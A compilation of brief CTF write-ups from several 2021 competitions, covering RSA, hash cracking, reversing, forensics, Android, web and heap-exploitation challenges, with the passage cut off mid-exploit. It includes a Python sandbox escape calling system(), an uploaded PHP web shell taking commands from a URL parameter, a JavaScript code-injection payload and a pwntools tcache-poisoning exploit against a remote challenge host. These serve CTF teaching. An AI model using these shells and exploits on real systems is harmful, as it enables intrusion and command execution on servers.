# Weak RSA This task was solved using RsaCtfTool. If we run the following command, we will get the plaintext flag from the encrypted message: ```python ~/RsaCtfTool/RsaCtfTool.py --publickey pubkey.pem --uncipherfile flag.enc --private``` The output of this command and plaintext flag can be seen on the Figure 1. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-22-55-51.png) Figure 1 – The output of this command and plaintext flag Flag: HTB{b16_e_5m4ll_d_3qu4l5_w31n3r_4774ck}.
## Process First crack admin user id using`python cracker.py` Now access admin notes usinghttp://52.163.52.206:5001/my_notes?user_id=7bdeij4oiafjdypqyrl2znwk7w9lulgn ### cracker.py ```pythonimport string, random, timefrom datetime import datetime, timezone # Adminpost_admin = 'lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u'alphabet = list(string.ascii_lowercase + string.digits) def get_random_id(): return ''.join([random.choice(alphabet) for _ in range(32)]) def crack(): timestamp = 1610677740 while True: timestamp = round(timestamp, 4) post_at = datetime.fromtimestamp(timestamp, tz=timezone.utc).strftime('%Y-%m-%d %H:%M UTC') random.seed(timestamp) user_id = get_random_id() random.seed(user_id + post_at) note_id = get_random_id() if note_id == post_admin: print("Admin Found", user_id) timestamp += 0.0001 print("Cracking...")crack()```
# safe vector ## TLDR* out of bound read/write* tcache poisoning ## Challenge### DescriptionResult of file command* Arch : x86-64* Library : Dynamically linked* Symbol : Not stripped Result of checksec* RELRO : Full RELRO* Canary : Disable* NX : Enable* PIE : Enable libc version: 2.31 In this challenge, original class "safe\_vector" is defined. ```cpp... template<typename T>class safe_vector: public std::vector<T> {public: void wipe() { std::vector<T>::resize(0); std::vector<T>::shrink_to_fit(); } T& operator[](int index) { int size = std::vector<T>::size(); if (size == 0) { throw "index out of bounds"; } return std::vector<T>::operator[](index % size); }};...``` ### Exploit "safe\_vector" is not "safe". If the index is negative, operator allows us to access out of bound value. The following information about vector's dynamic memory allocation will help your exploit. (It could be wrong. If you notice, let me know.) | size of vector<uint32_t> | chunk size of vector<uint32_t> || - | - || 1 | 0x20 || 2 | 0x20(reallocate) || 2 < | 0x20(reallocate) || 4 < | 0x30 || 7 < | 0x50 || 16 < | 0x90 || 32 < | 0x110 || 64 < | 0x210 || 128 < | 0x410 || 256 < | 0x810 || ... | ... | I need to link chunk to unsorted bin in order to get the address of libc. I used tcache poisoning to overwrite \_\_free\_hook into system(). My exploit is [here](https://github.com/kam1tsur3/2021_CTF/blob/master/zer0pts/pwn/safe_vector/solve.py). ## Reference twitter: @kam1tsur3
I was given a file [hashes.txt](https://raw.githubusercontent.com/mar232320/ctf-writeups/main/hashes.txt) which contains some hashes```01:J2KpcoAbuql8U02:PU/dGdAVlBvMw03:MZLzIKG.XL9GE04:YYsBUtwzeoJqM05:$1$7TBqF/dR$no7Ql63c.FhX1Udl7t1Ws.06:$1$06bhZHCs$iNkfXQwwkMzXGxSfQTyw6/07:$1$uymtXSqy$BR/ZZfPWhoX0wntRq3QtO008:$1$n7GL0.6g$pjv5N8FZAIpdGmbTHGRB3009:$1$gbigI1Qh$1eGGYwYi2r4zdrgh8Xzyo010:$6$cBqA5xLZVRriv.u/$swKMycBkvyi2RhL6gHvxxwqnWobOE4pRBkyH.hHOA5xyr2nttM5eOLDMjxyWDCL.ngbQ2T47bBwkMUkuB/VUo111:$6$tn8ELZASfBa0oMmE$142wF.JRnWgaOSsyXh/WCiuc7ZKWquN7StAA6X3lbUlM.G0nmfxDM.TrPX7e19lvltTeDUXXoNTJfDwzPBE2d.12:$6$EUPTdRD4oHlripYb$EW4KkzaSx.M0UXXg1GvHXb3D.UNPBuAVtmAr.NO2GzcDGFpDrLXmcJ9EqBuyGLerbVI/hXiKrpJWbXf4zAQTJ113:$6$sfnr6Bk3vgABiniV$YLvIcvqmqiYGcLy8ZwRScnHHhKs2mk7ixK9BGTQMp.1JlWnb06LE9nImpWJgNuCm9tWVcWJjxmyXd.xOsye2v0``` I used online hash identifier and checked various types in hashcat and it turns out that first 4 hashes are `descrypt` 5 next are `md5crypt` and the last 4 are `sha512crypt` I used hashcat to crack these hashes with rockyou.txt dictionary and simple bruteforce First 4 were cracked pretty quickly and the results are (in order) drink all the boozeNext 5 (md5crypt) were also easy to crack and the results were hack all the things dedicated The sha512crypt hashes are more complicated therefore the estimated time for rockyou in hashcat was ~2h so that's too much time I thought that in the last section of hashes would also be "all" and "the" solutions in 11th and 12th hash Then I realised that it may be some kind of text like Hacker Manifesto so I searched it in google and I found the [lyrics](https://genius.com/Dual-core-all-the-things-lyrics) of a song which intro says `dedicated to all the hackers` `dedicated` was the last part of 2nd section so these should be the solutions of part 3 what confirmed my earlier thoughts All I had to do from now was to build the flag > CTF{drink_all_the_booze_hack_all_the_things_dedicated_to_all_the_hackers} [hashes-solved](https://raw.githubusercontent.com/mar232320/ctf-writeups/main/hashes-solved.txt)
### Given ```My plaintext has been encrypted by an innocent friend of mine while playing around cryptographic libraries, can you help me to recover the plaintext , remembers it's just numbers and there's a space between some numbers which you need to remove the space and submit the recovered plain text as a flag. Author: ElementalX```+ ELF file skidw4re ### Analysis Running the program gives the following output:```This is the only message--------> ae385c6f1dd72132b2afcd4c25b9d35e000000000000000032 The message has been encrypted and written```A quick look in ida suggests its UPX packed, we unpack it with upx`upx -d skidw4re` When we open the unpacked program in IDA we find a lot of subroutines. But one named `main_EncryptAES` catches my eye. ![analysis](https://luftenshjaltar.info/writeups/0x41414141ctf/rev/ware/analysis.png) We can see that it accepts a plaintext and encrypts it. I set a breakpoint at the end of the subroutine and start the debugger. ![debug](https://luftenshjaltar.info/writeups/0x41414141ctf/rev/ware/debug.png) We can see that we indeed have a plaintext and that it it is a bunch of numbers with a space in between. ### Implementation Nothing much to do here. `321174068998067 98980909` was extracted from the debug.Knowing that the format of a flag is `flag{x}` and the intro text said `remembers it's just numbers and there's a space between some numbers which you need to remove the space and submit the recovered plain text as a flag.`. I reconstruct the flag as `flag{32117406899806798980909}`### Flag found! flag{32117406899806798980909}
tl;dr sql is improperly escaped for sqlite, we can then use this and newlines to inject commands [original writeup](https://blog.jimmyli.us/articles/2021-03/Zer0ptsCTF-WebExploitation#baby-sqli)
# Parsey McparserChallenge description: > Attached is a blob of data with a never-before-seen format. We need user_names extracted from all entries based on the group they're in.> Direcly below, is some starter code. All we need is the function> "**ParseNamesByGroup**" implemented which takes a blob of data> (string) and the group name (string). This function should return all> user_names belonging to that group.> > ``` > ''' > :param blob: blob of data to parse through (string) :param> group_name: A single Group name ("Green", "Red", or "Yellow",etc...)> > :return: A list of all user names that are part of a given Group > '''> def ParseNamesByGroup(blob, group_name):> #impliment code> data = raw_input() group_name = data.split('|')[0] blob = data.split('|')[1] result_names_list = ParseNamesByGroup(blob,> group_name) print result_names_list> ```> > stdin example:> ``` > Black|+++,Bellhomes LLC.,["age":39, "user_name":"Reid Jolley",> "Group":"Black"],+++,Greek Ideas,["age":63, "user_name":"Lucius> Chadwell", "Group":"Green"],["age":63, "user_name":"Cary Rizzuto",> "Group":"Black"],["age":28, "user_name":"Shoshana Bickett",> "Group":"Yellow"],["age":69, "user_name":"Madeleine Swallow",> "Group":"Green"],["age":41, "user_name":"Buddy Etter",> "Group":"Black"],+++,God fire,["age":26, "user_name":"Carlene> Caulder", "Group":"Green"],["age":43, "user_name":"Napoleon Peay",> "Group":"Purple"],["age":44, "user_name":"Noemi Constant",> "Group":"Green"]> ```> > stdout example:> > ``` > ['Reid Jolley', 'Cary Rizzuto', 'Buddy Etter']> ``` ## SolutionSolution in script.py file.```$ python2 script.pyBlack|+++,Bellhomes LLC.,["age":39, "user_name":"Reid Jolley", "Group":"Black"],+++,Greek Ideas,["age":63, "user_name":"Lucius Chadwell", "Group":"Green"],["age":63, "user_name":"Cary Rizzuto", "Group":"Black"],["age":28, "user_name":"Shoshana Bickett", "Group":"Yellow"],["age":69, "user_name":"Madeleine Swallow", "Group":"Green"],["age":41, "user_name":"Buddy Etter", "Group":"Black"],+++,God fire,["age":26, "user_name":"Carlene Caulder", "Group":"Green"],["age":43, "user_name":"Napoleon Peay", "Group":"Purple"],["age":44, "user_name":"Noemi Constant", "Group":"Green"]['Reid Jolley', 'Cary Rizzuto', 'Buddy Etter']``` ### How to solve the problem In order to solve this problem, we have just to: - extract all fields lists (like `["age":69, "user_name":"Madeleine Swallow", "Group":"Green"]`, etc)- transform each fields list into a JSON object- decode each JSON object- search in every object if user belongs to the specified group. If yes, user will be added to the `users` list
tldr;- keep reconnecting until we get a good set of parameters $(g, x, p)$- suppose $x$ is even and $2$ is a quadratic residue mod $p$ and $3$ is a quadratic nonresidue mod $p$- we can distinguish yoshiking whether yoshiking choose paper or not by checking whether $c_2$ is a quadratic residue mod $p$- since nothing happens if we draw, if yoshiking doesn't choose paper, just choose rock as we will either win or draw doing this [writeup](https://jsur.in/posts/2021-03-07-zer0pts-ctf-2021-crypto-writeups#janken)
# pyjail This was part of the 0x41414141 CTF in January 2021. ![challeng](media/challenge.png) You can download the source: ```#!/usr/bin/env python3 import refrom sys import modules, version banned = "import|chr|os|sys|system|builtin|exec|eval|subprocess|pty|popen|read|get_data"search_func = lambda word: re.compile(r"\b({0})\b".format(word), flags=re.IGNORECASE).search modules.clear()del modules def main(): print(f"{version}\n") print("What would you like to say?") for _ in range(2): text = input('>>> ').lower() check = search_func(banned)(''.join(text.split("__"))) if check: print(f"Nope, we ain't letting you use {check.group(0)}!") break if re.match("^(_?[A-Za-z0-9])*[A-Za-z](_?[A-Za-z0-9])*$", text): print("You aren't getting through that easily, come on.") break else: exec(text, {'globals': globals(), '__builtins__': {}}, {'print':print}) if __name__ == "__main__": main()``` You can see the filtering at play. You cannot use most python command you'd want to use to read a file. Found this awesome site: https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes Which gives this example: ```# The os._wrap_close class is usually loaded. Its scope gives direct access to os package (as well as __builtins__)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close' ][0]['system']('ls')``` We cannot use `system` due to the filtering but we *can* break it into pieces. ```nc 45.134.3.200 1024 1. 8.0 (default, Oct 28 2019, 16:14:01)[GCC 8.3.0] What would you like to say?>>> [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close' ][0]['sy'+'stem']('ls /')``` ```appbinbootdevetcflag.txthomeliblib32lib64mediamntoptprocrootrunsbinsrvsystmpusrvar>>>``` Now we can get the flag: ```>>> [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close' ][0]['sy'+'stem']('cat /flag.txt')flag{l3t's_try_sc0p1ng_th1s_0ne_2390098}```
# Hacker Manifesto ## IntroductionWe are given a file, which contains ASCII characters as well as other non human readable bytes.No other meaningful information is given.If you like puzzles I really recommend trying this challenge yourself, and if you are stuck at some part - just read the next step from this writeup.It was designed to lead the reader through the thought process of solving this challenge. ## The solutionFirst thing I did was running```bashhd hacker_manifesto.txt | head```on this file in order to view raw bytes and characters clearly. ![](https://github.com/mFIND/CTF-writeups/blob/main/Tennable_2021/Hacker%20Manifesto/hacker_fifteenth.png?raw=true) First thing I noticed, was that every 3rd letter contained a valid ascii character.However, it was apparent, that there were some characters missing from the message, we now had to find how they were encoded! ### Step one: find original, try to decode somethingWith a little help from a friend of mine we were able to find original text : [The Conscience of a Hacker](http://phrack.org/issues/7/3.html) After comparing the given file with the original text we started noticing more differences.By manually comparing the two texts, we quickly started analysis on what was exactly going on:```0x01: 00 00 49 I0x02: 00 00 20 ' '0x03: 00 00 61 a0x04: 00 00 6d m # Missing: ' 'a0x05: 03 08 20 ' '0x06: 00 00 68 h # Missing: a0x07: 03 04 63 c0x08: 00 00 6b k0x09: 00 00 65 e0x0A: 00 00 72 r0x0B: 00 00 2c , # Missing: ' '0x0C: 08 04 65 e0x0D: 00 00 6e n0x0E: 00 00 74 t # Missing: er0x0F: 07 08 20 ' ' # Missing: m0x10: 12 04 79 y```We quickly noticed, that the first byte in a sequence of three seems to point to how much back we have to go for a correct character in this place.For example, on line 0x07, we were expecting letter `a`, but instead we found `c`When comparing this to the original file, you can notice, that 3 characters before that position was letter `a`.```I <-- idx 0 <-- idx 1a <-- idx 2m <-- idx 3 <-- idx 4a <-- idx 5 <-- idx 6h <-- idx 7a <-- idx 8ck```The same goes for the first missing characters on line 0x05, but there, instead of 1 character missing, there were two. ### Step two: state a thesis, support itNow, I was stuck in this place for a while, until again my friend suggested, that the second byte of each sequence of three, after divided by 4 might mean the number of characters from a given place, pointed by first byte. I quickly verified if thats a plausible explanation by verifying, if there was ever a situation in any sequence of three bytes, that either first or second byte is 0x00, even though the other one is not. ```bashcat hacker_manifesto.txt | xxd -p | tr -d \\n | sed 's/\(..\)\(..\)\(..\)/\1 \2 \3\n/g' | grep '\( \|^\)00 '# ^ print file ^ change it to hex stream ^find 3 groups of 2 characters each# ^ removing '\n' from the stream # print Byte1<space>Byte2<space>Byte3<enter># The result: ^ using sed - stream editor ^ find all lines, that start with '00 ' or contain ' 00 '00 00 4900 00 2000 00 6100 00 6d00 00 6800 00 6b00 00 6500 00 7200 00 2c00 00 6e00 00 7400 00 6f00 00 6400 00 2e00 00 0a00 00 4d00 00 6900 00 7300 00 6600 00 7000 00 7600 00 5400 00 4e```By running this command, I quickly confirmed there were no 0x00 bytes coupled with non 0x00 byte on 1st or 2nd position. I also noticed, that some of the second bytes were not divisible by 4, but I left that for later, I first wanted to see if that might have a chance of working for smaler part of the file. ### Step three: support it!!!I'm not really familiar in how to efficiently manipilate low-level structures in python, so I've decided to use C++ for this one.To have a complete control over the input, I used sscanf, reading 3 bytes into 3 variables each reading loop.```c++#include <iostream>#include <stdio.h>#include <vector> int main(){ unsigned char a,b,c; unsigned int temp, index; bool trace = false; std::vector<char> res; while (scanf("%c%c%c", &a, &b, &c) != -1){ // main reading loop index = res.size(); if (a != 0){ // if first byte is not a 0x00, we have to take some letter from earlier part of the input temp = res.size() - a; // find the index where the substring starts for(int i = 0; i < b/4; ++i) res.push_back(res[temp + i]); // add one letter.. one by one.. yeah, there is probably something better for that, but hey, speed is not of the essence here! } res.push_back(c); for(int i = index; i < res.size(); ++i) std::cout << res[i]; // print characters added in this loop ONLY } return 0;}``` The program went really well until here:```I've listened to teachers explain for the fifteenth ^```I was expecting `fifteenth`, and instead I got.. this:![](https://github.com/mFIND/CTF-writeups/blob/main/Tennable_2021/Hacker%20Manifesto/hacker_fifteenth.png?raw=true) After debugging for a little while, I have noticed, that this is the first place, where second byte is not divisible by 4.When looking for what was missing (`nt`) between already printed `fiftee` and third byte `h`, I noticed, that it already occured as 0x17th and 0x18th byte.However, current number of characters in `res` vector was nearing 280, a number beyond what one byte could fit (0xff == 255). Then maybe lower 2 bits of second byte meant multiple of 256, when looking back for specific byte in the sequence? ### Step four: improve upon it! I quickly added very dirty (but working) improvement, eager to test this new idea.```c++#include <iostream>#include <stdio.h>#include <vector> int main(){ unsigned char a,b,c; unsigned int temp, index; bool trace = false; unsigned int lookback; std::vector<char> res; while (scanf("%c%c%c", &a, &b, &c) != -1){ index = res.size(); if (a != 0){ lookback = a + (b % 4 != 0 ? 256 : 0); // if second byte is not divisible by 4, add 256 temp = res.size() - lookback; for(int i = 0; i < b/4; ++i) res.push_back(res[temp + i]); } res.push_back(c); for(int i = index; i < res.size(); ++i) std::cout << res[i]; } return 0;}```After compiling and running```bashg++ solution.c && cat hacker_manifesto.txt | ./a.out```I got following result: ![](https://github.com/mFIND/CTF-writeups/blob/main/Tennable_2021/Hacker%20Manifesto/hacker_improved.png?raw=true) First, I noticed that close to the bottom, there was something, that reassembled a flag format rather closely.Besides that, about 10 lines higher I saw, that there was still some problem with the algorythm..If you look closely, you might notice, that a string `No, Ms` occured before. I'm ashamed to admit that, but it took me way longer that it should, especially after finding the relation between second byte and 256..Remember, if you are stuck at something like that, don't go straight for a flag, that is not the way :D ### Step five: FLAG!If you are a careful reader, you already know, why this didn't work..Let's just say, that after adding `256 * (b % 4)` instead of flat 256, the program worked... better :)Finally, flag was withing my reach, it was....`flag{TheMentorArrested}`
tl;dr1. Analyze `supervisor` -> Learn that it forks a child process which executes `crackme.enc` and monitors it with `ptrace()`.2. Analyze the parent process -> Learn that it catches debug break and modifies the code of its child on the fly.3. Use `LD_PRELOAD` hooking technique to see what code is being modified in the child -> Patch it accordingly.4. Analyze the child process -> Learn that it checks `secret_key` by simple math and comparison.5. Write code to generate correct key -> get flag.
# Plug Reading Leftover USB capture data reveals the following PNG structure. Part of the PNG file can be seen at the Figure 1.This resource decodes to QR code image. This QR code can be seen at the Figure 2.This QR code can be decoded to HTB{IN73R3S7iNG_Us8_s7UFf}. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-23-23.png) Figure 1 – Wireshark window with opened package, which contains PNG file ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-23-41.png) Figure 2 – QR code from traffic Flag: HTB{IN73R3S7iNG_Us8_s7UFf}.
I was given a [pdf](https://github.com/mar232320/ctf-writeups/raw/main/resume.pdf) file The flag is in the blacked out field near id > CTF{shrieeeeeeeeeeeeeeeeeeeeeek}
tl;dr: hardcoded flag in resources. another approach is to use dumpsys. [https://blackbeard666.github.io/pwn_exhibit/content/2021_CTF/bsidesSFCTF/android_charge_writeup.html](https://blackbeard666.github.io/pwn_exhibit/content/2021_CTF/bsidesSFCTF/android_charge_writeup.html)
# DarkCON CTF 2021 – WTF PHP * **Category:** web* **Points:** 269 ## Challenge > Your php function didnt work? maybe some info will help you xD PS: Flag is somewhere in /etc Note: This chall does not require any brute forcing> > http://wtf-php.darkarmy.xyz/ ## Solution The website allows to upload a file. Analyzing the HTML you can discover an interesting comment containing a PHP snippet. ```html<html> <body> <form action="" method="POST" enctype="multipart/form-data"> <input type="file" name="fileData" /> <input type="submit"/> </form> </body> </html>``` The website returns you a link to the uploaded file, it renames the file with a random value preserving the extension. So, a PHP shell can be uploaded and visited executing its content. ```phpExploit Output</h1>"; echo system($_GET[c]); echo "";?>``` Unfortunately the RCE doesn't work, but the text says: > maybe some info will help you xD So you can try to understand what's happening using `phpinfo()`. ```phpExploit Output</h1><hr />"; echo system($_GET[c]); echo "<hr />"; echo phpinfo();?>``` Some functions are disabled, you can see them under `disable_functions` section of `phpinfo()` output. ```pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,error_log,link,symlink,syslog,ld,mail,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,highlight_file,file,fopen,fread,var_dump,readfile``` `scandir` and `file_get_contents` are not disabled and the flag is under `/etc`. A simple [exploit](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DarkCON%20CTF%202021/WTF%20PHP/exploit.php) can be created and uploaded. ```phpExploit Output</h1><hr />"; $dir = "/etc/"; $items = scandir($dir); foreach($items as $key => $value) { $file = $dir . $value; if(is_file($file)) { $file_content = file_get_contents($file); if(strpos($file_content, "darkCON{") !== false) { echo "File name: $fileFile content:"; echo $file_content; echo ""; } } } echo "<hr />"; echo phpinfo();?>``` File name: $file The exploit output will be the following. ```File name: /etc/[email protected] File content:darkCON{us1ng_3_y34r_01d_bug_t0_byp4ss_d1s4ble_funct10n}```
# zer0pts CTF 2021 – Kantan Calc * **Category:** web* **Points:** 135 ## Challenge > "Kantan" means simple or easy in Japanese.> > http://web.ctf.zer0pts.com:8002/> > author:st98 ## Solution The challenge gives you an [attachment](https://github.com/m3ssap0/CTF-Writeups/blob/master/zer0pts%20CTF%202021/Kantan%20Calc/kantan_calc_a4f3130c72d9093ab206a29e27e40123.tar.gz?raw=true) containing the source code: [app.js](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/zer0pts%20CTF%202021/Kantan%20Calc/kantan_calc/app.js). ```javascriptconst express = require('express');const path = require('path');const vm = require('vm');const FLAG = require('./flag'); const app = express(); app.set('views', path.join(__dirname, 'views'));app.set('view engine', 'pug'); app.use(express.static(path.join(__dirname, 'public'))); app.get('/', function (req, res, next) { let output = ''; const code = req.query.code + ''; if (code && code.length < 30) { try { const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 }); output = result + ''; if (output.includes('zer0pts')) { output = 'Error: please do not exfiltrate the flag'; } } catch (e) { output = 'Error: error occurred'; } } else { output = 'Error: invalid code'; } res.render('index', { title: 'Kantan Calc', output });}); app.get('/source', function (req, res) { res.sendFile(path.join(__dirname, 'app.js'));}); module.exports = app;``` The website is a some sort of calculator. Even if several articles on how to escape `vm` sandbox can be found on the Internet, here the point is to dump the source code of the defined function. Two constraints are present:1. the payload must be lesser than 30 chars;2. if the output contains `zer0pts`, so the starting part of the flag, it will be blocked. This is a *code injection* challenge. First of all, a JavaScript named function can print itself, with comments, if its name is returned. ```javascript(function p() { return p; /* Comment. */ })()``` The structure of the given script can be seen as something like `(x, y)()`. If you try to exfiltrate the function source code in this way, you will be blocked by the check on the output content, because the output is converted to a string and checked for the presence of `zer0pts`. In JavaScript you can convert a string to an array of chars with the following clause: `[...p]`. With this trick you could bypass the check on the content. But you can't execute that clause directly on `p` because it `is not iterable`. So you have to convert it to a string with a concatenation. Putting all together, you can have the following payload. ```javascript},function p(){return[...p+1]``` The flag is the following. ```zer0pts{K4nt4n_m34ns_4dm1r4t1on_1n_J4p4n3s3}```
# ASIS CTF Finals 2020 – Dream * **Category:** forensics* **Points:** 77 ## Challenge > We are in a dream, within another dream! ## Solution The challenge gives you [an archive](https://github.com/m3ssap0/CTF-Writeups/raw/master/ASIS%20CTF%20Finals%202020/Dream/flag.malformed_71e395c65c735db4286467312481a7187f09f1da.txz). Opening the archive and examining its content, will reveal the presence of some interesting strings. ```root@m3ss4p0:~/Scrivania# tar xf flag.malformed_71e395c65c735db4286467312481a7187f09f1da.txzroot@m3ss4p0:~/Scrivania# strings flag.malformedDIRMNAVMFORMDJVIANTz,'F9FNwK)Vu[PVi54U5Q9->BZ&0YlcQ.5`q#rec->\'_pOFORMDJVUINFOINCLshared_anno.iff<REDACTED>``` The format of the file is [*DjVu*](https://en.wikipedia.org/wiki/DjVu). Some tools can be installed to manipulate this kind of files. ```sudo apt-get install djviewsudo apt-get install djvulibre-binroot@m3ss4p0:~/Scrivania# djvudump flag.malformed DIRM [52] NAVM [28] FORM:DJVI [920] ANTz [908] Page annotation (hyperlinks, etc.) FORM:DJVU [31774] INFO [10] DjVu 2550x3300, v24, 300 dpi, gamma=2.2 INCL [15] Indirection chunk --> {shared_anno.iff} Sjbz [935] JB2 bilevel data FGbz [15] JB2 colors data, v0, 1 colors BG44 [4488] IW4 data #1, 72 slices, v1.2 (color), 850x1100 BG44 [3574] IW4 data #2, 11 slices BG44 [7090] IW4 data #3, 10 slices BG44 [15155] IW4 data #4, 10 slices TXTz [412] Hidden text (text, etc.)``` The file can't be opened because it's malformed. Removing the first part of the file with an hexeditor will give a [well-formed file](https://github.com/m3ssap0/CTF-Writeups/raw/master/ASIS%20CTF%20Finals%202020/Dream/test). ```root@m3ss4p0:~/Scrivania# djvudump test FORM:DJVU [31774] INFO [10] DjVu 2550x3300, v24, 300 dpi, gamma=2.2 INCL [15] Indirection chunk --> {shared_anno.iff} Sjbz [935] JB2 bilevel data FGbz [15] JB2 colors data, v0, 1 colors BG44 [4488] IW4 data #1, 72 slices, v1.2 (color), 850x1100 BG44 [3574] IW4 data #2, 11 slices BG44 [7090] IW4 data #3, 10 slices BG44 [15155] IW4 data #4, 10 slices TXTz [412] Hidden text (text, etc.)``` If you open the file with DjView, the flag seems to be empty. ![content.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/ASIS%20CTF%20Finals%202020/Dream/content.png) But it is sufficient to copy and paste its content in order to find the flag. ```ASIS{_DJVU_f1L3_f0rM4t_iZ_DejaVu}```
I was given android apk file [chargetracker.apk](https://github.com/mar232320/ctf-writeups/raw/main/chargetracker.apk) I looked in internet for online apk decompilers decompiled the file and looked for the java source files The most interesting one was `MainActivity.java` ```package com.bsdiessf.chargetracker; import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.content.IntentFilter;import android.os.BatteryManager;import android.os.Bundle;import android.util.Log;import android.widget.ImageView;import android.widget.TextView;import androidx.appcompat.app.AppCompatActivity;import androidx.appcompat.widget.Toolbar; public class MainActivity extends AppCompatActivity { private ImageView batteryImage; private TextView batteryValue; private BroadcastReceiver mBatteryReceiver = new BroadcastReceiver() { /* class com.bsdiessf.chargetracker.MainActivity.AnonymousClass1 */ public void onReceive(Context context, Intent intent) { int intExtra = intent.getIntExtra("level", 0); String valueOf = String.valueOf(intExtra); Log.d("Battery update:", valueOf); if (intExtra == 49) { Log.d("Flag:", MainActivity.this.getResources().getString(R.string.part1) + MainActivity.this.part2 + "1tN0w}"); } TextView textView = MainActivity.this.batteryValue; textView.setText(valueOf + "%"); if (intExtra > 79) { MainActivity.this.batteryImage.setImageResource(R.drawable.high); } else if (intExtra <= 30 || intExtra >= 80) { MainActivity.this.batteryImage.setImageResource(R.drawable.low); } else { MainActivity.this.batteryImage.setImageResource(R.drawable.med); } } }; private String part2 = "R3charg3"; /* access modifiers changed from: protected */ @Override // androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView(R.layout.activity_main); setSupportActionBar((Toolbar) findViewById(R.id.toolbar)); this.batteryImage = (ImageView) findViewById(R.id.batteryImageView); this.batteryValue = (TextView) findViewById(R.id.percentValue); int intProperty = ((BatteryManager) getSystemService("batterymanager")).getIntProperty(4); TextView textView = this.batteryValue; textView.setText(String.valueOf(intProperty) + "%"); registerReceiver(this.mBatteryReceiver, new IntentFilter("android.intent.action.BATTERY_CHANGED")); } /* access modifiers changed from: protected */ @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity public void onDestroy() { super.onDestroy(); unregisterReceiver(this.mBatteryReceiver); }} ``` I could see `1tN0w}` as last part at the end and `R3charg3` in `private String part2` I assumed that the first part is `CTF{` > CTF{R3charg31tN0w}
This weekend I wrote `flippidy` and `babyrop`, both easy (relatively speaking) pwn challenges for DiceCTF 2021. ## FlippidyChecksec:```Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)``` This was a heap note challenge. The provided libc version is 2.27 without the tcache double free check. We are allowed to choose the size of our notebook. We are given two functions:- Add - create a note (`malloc(0x30)`) at an index and write to the chunk. Doesn't care if the index is taken, will not free it.- Flip - flip the notebook (swap `d c b a` to `a b c d`) Further, the menu prints 4 pointers from a `char *` array, which correspond to the four lines that comprise the menu. ### BugThe bug exists in the flip function. When flipping a notebook, it saves the content, frees both indices, mallocs, and then `strcpy`s the content to the opposite chunk. However if you flip an odd sized notebook with a chunk allocated for the middle index, it double frees it and writes its content to itself after it has been freed, poisoning the tcache. Because of full RELRO, we cannot attack the GOT. However, the menu is implemented weirdly and the strings are stored in `.data`. I poisoned the tcache to write to the `char []` pointer by:- making a notebook sized 7- adding a chunk at idx 3- writing `0x404020` (menu pointer) to that chunk- flipping Our freelist after flipping: `HEAD -> 0x404020 -> 0x404040 -> 0x654d202d2d2d2d2d`.[[*]](#appendix) `0x404020` is a pointer to the first string (`"----- Menu -----"`), which is why there are more tcache entries now (`0x654d...` is the actual string). Now, we can overwrite `[0x404020]` to a GOT entry to leak libc addresses. However, we must overwrite more, as the tcache is currently too messed up to do anything later. After our first malloc, we are able to write 0x2f bytes to `0x404020`, and the next chunk in the freelist is `0x404040`. We can thus overwrite the data at `0x404040` to an address we will later be able to control (within 0x30 bytes of `0x404040`, like `0x404050`, instead of just pointing to `0x654d202d2d2d2d2d`. Take care to overwrite the rest of the 3 pointers at `0x404020` with valid string pointers because puts will also try to print those when the menu is printed. Freelist after our write: `HEAD -> 0x404040 -> 0x404050` After our write, the menu is printed again, along with a libc address. Now, we have an arbitrary write (we can control what is at `0x404050` when we allocate a 0x30 chunk at `0x404040`). After our final allocation, we will be able to write the address of `__free_hook` to the fwd of the chunk of `0x404050`, which is still on the freelist. We can then just allocate another chunk, which will point to `__free_hook`, and write the address of `system` to it. Finally, we allocate one more chunk at index 0, write `"/bin/sh"` to it, and flip to free it, launching our shell. Script:```pythonfrom pwn import * e = ELF("./flippidy")libc = ELF("./libc.so.6")ld = ELF("./ld-2.27.so") context.binary = econtext.terminal = ["konsole", "-e"] """p = process([e.path])context.log_level="debug"gdb.attach(p, "c")""" p = remote("dicec.tf", 31904) def add(idx, data): p.sendlineafter(":", "1") p.sendlineafter(":", str(idx)) p.sendlineafter(":", data) def flip(): p.sendlineafter(":", "2") p.sendlineafter("be:", "7") add(3, p64(0x00404020)) flip() add(1, p64(e.got["setbuf"]) + p64(0x404158) + p64(0x004040ac) + p64(0x004040de) + p64(0x404050)) p.recvline()p.recvline() libc.address = u64(p.recv(6).ljust(8, "\x00")) - libc.sym["setbuf"] print("libc", hex(libc.address)) p.recv(1) heap = u32(p.recvline()[:-1].ljust(4, "\x00")) - 0x260 print("heap", hex(heap)) add(1, "A"*16 + p64(libc.sym["__free_hook"]))add(1, "AAAA") add(2, p64(libc.sym["system"])) add(1, 